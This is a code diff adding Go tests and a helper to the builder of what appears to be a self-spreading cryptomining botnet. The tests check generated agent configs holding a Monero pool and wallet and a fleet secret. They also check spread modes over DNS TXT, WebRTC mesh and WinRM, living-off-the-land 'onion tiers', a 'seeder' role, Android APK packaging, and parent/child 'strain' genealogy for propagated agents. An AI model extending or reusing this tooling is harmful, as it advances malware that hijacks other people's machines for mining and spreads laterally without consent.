 	agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
 	if _, err := os.Stat(agentAsset); err != nil {
@@ -106,6 +140,106 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
 	}
 }
 
+func TestApkConfigJSONFleetSecret(t *testing.T) {
+	h, database := testHandlerDB(t)
+	t.Cleanup(func() { _ = database.Close() })
+	h.fleetSecret = "test-fleet-secret-abc123"
+
+	assetsDir := h.apkAssetsDir()
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	req := &BuildRequest{
+		WorkerName:    "secret-node",
+		ApkAgentName:  "secret-node",
+		ServerURL:     "http://10.0.0.1:8989",
+		MiningDisabled: true,
+	}
+	if err := h.writeApkConfigJSON(req, "build-secret-test"); err != nil {
+		t.Fatalf("writeApkConfigJSON: %v", err)
+	}
+
+	raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
+	if err != nil {
+		t.Fatalf("read config.json: %v", err)
+	}
+	var cfg apkAssetConfig
+	if err := json.Unmarshal(raw, &cfg); err != nil {
+		t.Fatalf("unmarshal: %v", err)
+	}
+
+	if cfg.FleetSecret != "test-fleet-secret-abc123" {
+		t.Errorf("fleet_secret: got %q want %q", cfg.FleetSecret, "test-fleet-secret-abc123")
+	}
+	if cfg.WorkerName != "secret-node" || cfg.WorkerNumber != "secret-node" {
+		t.Errorf("worker: name=%q number=%q", cfg.WorkerName, cfg.WorkerNumber)
+	}
+	if cfg.Mining.Enabled {
+		t.Error("mining.enabled should be false when MiningDisabled=true")
+	}
+	if cfg.BuildID != "build-secret-test" {
+		t.Errorf("build_id: got %q want %q", cfg.BuildID, "build-secret-test")
+	}
+}
+
+func TestApkConfigJSONNoSecretOmitted(t *testing.T) {
+	h, database := testHandlerDB(t)
+	t.Cleanup(func() { _ = database.Close() })
+	// h.fleetSecret is empty — fleet_secret must be omitted from JSON
+
+	assetsDir := h.apkAssetsDir()
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	req := &BuildRequest{
+		WorkerName: "no-secret-node",
+		ServerURL:  "http://10.0.0.2:8989",
+	}
+	if err := h.writeApkConfigJSON(req, "bld-nosecret"); err != nil {
+		t.Fatalf("writeApkConfigJSON: %v", err)
+	}
+
+	raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
+	if err != nil {
+		t.Fatalf("read config.json: %v", err)
+	}
+	if strings.Contains(string(raw), "fleet_secret") {
+		t.Errorf("fleet_secret should be omitted when empty, got:\n%s", raw)
+	}
+}
+
+func TestApkAssetPathsMatchBinaryExtractor(t *testing.T) {
+	// Cross-check Go builder output with android BinaryExtractor.kt constants:
+	// ASSET_NAME = "agent", config consumed by AgentConfig.kt as config.json.
+	h, database := testHandlerDB(t)
+	t.Cleanup(func() { _ = database.Close() })
+	assetsDir := h.apkAssetsDir()
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	agentBin := filepath.Join(t.TempDir(), "agent-arm64")
+	if err := os.WriteFile(agentBin, []byte("elf-agent-binary"), 0755); err != nil {
+		t.Fatal(err)
+	}
+	if err := h.copyAgentBinaryToApkAssets(agentBin); err != nil {
+		t.Fatal(err)
+	}
+	agentAsset := filepath.Join(assetsDir, "agent")
+	if _, err := os.Stat(agentAsset); err != nil {
+		t.Fatalf("agent asset missing at BinaryExtractor ASSET_NAME path: %v", err)
+	}
+	if err := h.writeApkConfigJSON(&BuildRequest{
+		WorkerName: "tab-1", ServerURL: "http://deck:8989", MiningDisabled: true,
+	}, "bld-cross"); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := os.Stat(filepath.Join(assetsDir, "config.json")); err != nil {
+		t.Fatalf("config.json missing for AgentConfig.kt: %v", err)
+	}
+}
+
 func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
 	h := &Handler{}
 	req := &BuildRequest{

server/internal/builder/fleet_role_test.go

@@ -0,0 +1,55 @@
+package builder
+
+import "testing"
+
+func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) {
+	req := &BuildRequest{
+		FleetRole: "seeder",
+		LotlOnionTiers: []string{"smb", "dns_txt", "winrm"},
+	}
+	applyFleetRoleBakeDefaults(req)
+	if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" {
+		t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole)
+	}
+	if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread {
+		t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread)
+	}
+	if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" {
+		t.Fatalf("tiers=%v", req.LotlOnionTiers)
+	}
+}
+
+func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) {
+	h := &Handler{}
+	req := &BuildRequest{
+		WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST",
+		Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x",
+		FleetRole: "seeder", SeederMode: true, MiningDisabled: true,
+	}
+	src := h.generateBuiltinConfig("build-seed", req)
+	if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") {
+		t.Fatalf("missing fleet role fields in builtin:\n%s", src)
+	}
+}
+
+func containsAll(s string, parts ...string) bool {
+	for _, p := range parts {
+		if !contains(s, p) {
+			return false
+		}
+	}
+	return true
+}
+
+func contains(s, sub string) bool {
+	return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
+}
+
+func indexOf(s, sub string) int {
+	for i := 0; i+len(sub) <= len(s); i++ {
+		if s[i:i+len(sub)] == sub {
+			return i
+		}
+	}
+	return -1
+}

server/internal/builder/genealogy.go

@@ -0,0 +1,16 @@
+package builder
+
+import (
+	"crypto/sha256"
+	"fmt"
+	"strings"
+)
+
+func spreadStrainFromJoinLane(lane string) string {
+	lane = strings.TrimSpace(strings.ToLower(lane))
+	if lane == "" {
+		return ""
+	}
+	sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
+	return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
+}

server/internal/builder/genealogy_test.go

@@ -0,0 +1,45 @@
+package builder
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestSpreadStrainFromJoinLane(t *testing.T) {
+	got := spreadStrainFromJoinLane("dns_txt")
+	if got == "" || got[0] != '#' || len(got) != 7 {
+		t.Fatalf("unexpected strain: %q", got)
+	}
+	if spreadStrainFromJoinLane("dns_txt") != got {
+		t.Fatal("strain not stable")
+	}
+	if spreadStrainFromJoinLane("winrm") == got {
+		t.Fatal("lanes should differ")
+	}
+}
+
+func TestGenerateBuiltinConfigSpreadGenealogy(t *testing.T) {
+	h := &Handler{}
+	req := &BuildRequest{
+		WorkerName:       "child",
+		ServerURL:        "http://127.0.0.1:8989",
+		Wallet:           "4TEST",
+		ParentAgentID:    "parent-abc",
+		SpreadGeneration: 2,
+		JoinLane:         "winrm",
+	}
+	src := h.generateBuiltinConfig("genealogy-build", req)
+	for _, want := range []string{
+		`ParentAgentID:    "parent-abc"`,
+		"SpreadGeneration: 2",
+		`BakedJoinLane:    "winrm"`,
+	} {
+		if !strings.Contains(src, want) {
+			t.Fatalf("missing %q in:\n%s", want, src)
+		}
+	}
+	strain := spreadStrainFromJoinLane("winrm")
+	if !strings.Contains(src, `SpreadStrain:     "`+strain+`"`) {
+		t.Fatalf("expected baked strain %q in config", strain)
+	}
+}